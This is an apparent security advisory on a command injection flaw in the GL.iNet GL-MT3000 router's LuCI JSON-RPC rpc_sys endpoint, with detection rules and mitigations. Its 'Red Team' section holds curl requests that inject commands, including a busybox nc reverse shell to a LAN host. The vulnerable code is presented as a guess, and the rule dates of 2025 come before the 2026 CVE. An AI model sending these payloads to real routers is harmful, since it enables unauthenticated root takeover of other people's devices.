CVE-2026-11449

Executive Summary

CVE-2026-11449 is a command injection vulnerability in the GL.iNet GL-MT3000 router, specifically within the LuCI JSON-RPC interface. The flaw resides in the rpc_sys function of the /cgi-bin/luci/rpc endpoint, allowing an unauthenticated remote attacker to inject arbitrary operating system commands. The vulnerability affects firmware versions prior to 4.7.13. The vendor has addressed the issue by removing the LuCI package from default installations in firmware 4.7.13 and later. The CVSS score is 6.3 (Medium), and no public proof-of-concept or exploit code has been released. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time.

Supply Chain & Package Security

This vulnerability is not related to any software supply chain or package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded device.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited modification possible.
• Availability Impact: Low (A:L) – limited service disruption.

Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but the impact is limited to low-level compromise. The vendor has mitigated it by removing the vulnerable component from default installations.

Deep Dive & Mechanics

The vulnerability exists in the LuCI JSON-RPC interface, a web-based management API used by OpenWrt-based routers. The rpc_sys function in /cgi-bin/luci/rpc is designed to execute system commands on the router. Due to insufficient input sanitization, an attacker can inject arbitrary commands by crafting a malicious JSON-RPC request.

Root Cause: The rpc_sys function passes user-supplied parameters directly to a shell command without proper validation or escaping. For example, a request like:

{"method":"rpc_sys","params":["command; injected_command"]}

would execute both command and injected_command on the router's operating system.

Attack Vector: An unauthenticated attacker sends a specially crafted HTTP POST request to /cgi-bin/luci/rpc with a JSON payload containing the malicious command. The router processes the request and executes the injected command with root privileges.

Impact: Successful exploitation allows an attacker to execute arbitrary commands, potentially leading to full device compromise, data exfiltration, or use of the device in a botnet.

Vulnerable vs. Patched Code

Vulnerable Code (firmware < 4.7.13): The rpc_sys function in LuCI likely used a pattern similar to:

function rpc_sys(command)
    local handle = io.popen(command)
    local result = handle:read("*a")
    handle:close()
    return result
end

This directly passes the user-supplied command to io.popen, which executes it in a shell.

Patched Code (firmware >= 4.7.13): The vendor removed the LuCI package entirely from the default firmware installation. In versions where LuCI is still present, the rpc_sys function should be removed or replaced with a safer alternative that validates input against a whitelist of allowed commands. For example:

local allowed_commands = {"reboot", "ping", "traceroute"}
function rpc_sys(command)
    if not is_allowed(command) then
        return nil, "Command not allowed"
    end
    -- Execute safely using os.execute with proper escaping
end

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A GL.iNet GL-MT3000 router running firmware version 4.4.5 (or any version < 4.7.13).
• Network access to the router's web interface (typically on port 80 or 443).

Exploitation Steps:

1. Identify the target router's IP address (e.g., 192.168.8.1).
2. Send a crafted HTTP POST request to the LuCI JSON-RPC endpoint:

curl -X POST http://192.168.8.1/cgi-bin/luci/rpc \
  -H "Content-Type: application/json" \
  -d '{"method":"rpc_sys","params":["id"]}'

3. The response will contain the output of the id command, confirming command execution.
4. For more advanced exploitation, inject a reverse shell:

curl -X POST http://192.168.8.1/cgi-bin/luci/rpc \
  -H "Content-Type: application/json" \
  -d '{"method":"rpc_sys","params":["busybox nc 192.168.8.100 4444 -e /bin/sh"]}'

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /cgi-bin/luci/rpc with JSON payloads containing suspicious strings like ;, |, &&, or command keywords.
• Use network intrusion detection systems (NIDS) to alert on such patterns.

Mitigation:

• Immediately upgrade firmware to version 4.7.13 or later.
• If upgrade is not possible, disable the LuCI web interface or restrict access to trusted IPs only.
• Implement web application firewall (WAF) rules to block requests to /cgi-bin/luci/rpc.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/luci/rpc with JSON payloads containing shell metacharacters.
• Outbound connections from the router to unusual IP addresses on common ports (e.g., 4444, 1337).

File System IOCs:

• Unexpected processes running on the router (e.g., nc, bash, python).
• Modified system binaries or scripts in /usr/bin/ or /etc/.

Log IOCs:

• Entries in /var/log/luci.log or system logs showing execution of unexpected commands.

Detection Engineering

YARA Rule

rule CVE_2026_11449_LuCI_Command_Injection {
    meta:
        description = "Detects command injection attempts against GL.iNet GL-MT3000 LuCI JSON-RPC"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-11449"
        severity = "medium"
    strings:
        $json_rpc = "/cgi-bin/luci/rpc"
        $method = "rpc_sys"
        $shell_chars = /[;&|`$(){}]/
    condition:
        $json_rpc and $method and #shell_chars > 0
}

Sigma Rule

title: CVE-2026-11449 - GL.iNet GL-MT3000 LuCI Command Injection
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to LuCI JSON-RPC with command injection patterns
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/luci/rpc'
        cs-content-type: 'application/json'
    keywords:
        - 'rpc_sys'
        - ';'
        - '|'
        - '&&'
        - '`'
    condition: selection and keywords
falsepositives:
    - Legitimate administrative use of rpc_sys (rare)
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2026-11449 - GL.iNet GL-MT3000 LuCI Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/luci/rpc"; http_uri;
    content:"application/json"; http_content_type;
    content:"rpc_sys"; http_client_body;
    pcre:"/[;&|`$(){}]/Ri";
    sid:1000001;
    rev:1;
    priority:2;
    reference:cve,2026-11449;
    classtype:attempted-admin;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade the GL-MT3000 firmware to version 4.7.13 or later. This removes the LuCI package from the default installation, eliminating the vulnerable endpoint.
2. If upgrade is not possible, disable the LuCI web interface by removing or renaming the /cgi-bin/luci/rpc file.
3. Restrict access to the router's web interface to trusted IP addresses only using firewall rules.

Long-Term Measures:

• Implement a web application firewall (WAF) to block requests to /cgi-bin/luci/rpc.
• Regularly monitor for new firmware updates from GL.iNet.
• Conduct periodic security assessments of IoT devices in the network.

Vendor Confirmation: The vendor states that firmware versions after 4.7.13 do not install LuCI by default, effectively mitigating the vulnerability.

Valters IT
DevSecOps & Cyber Threat Intelligence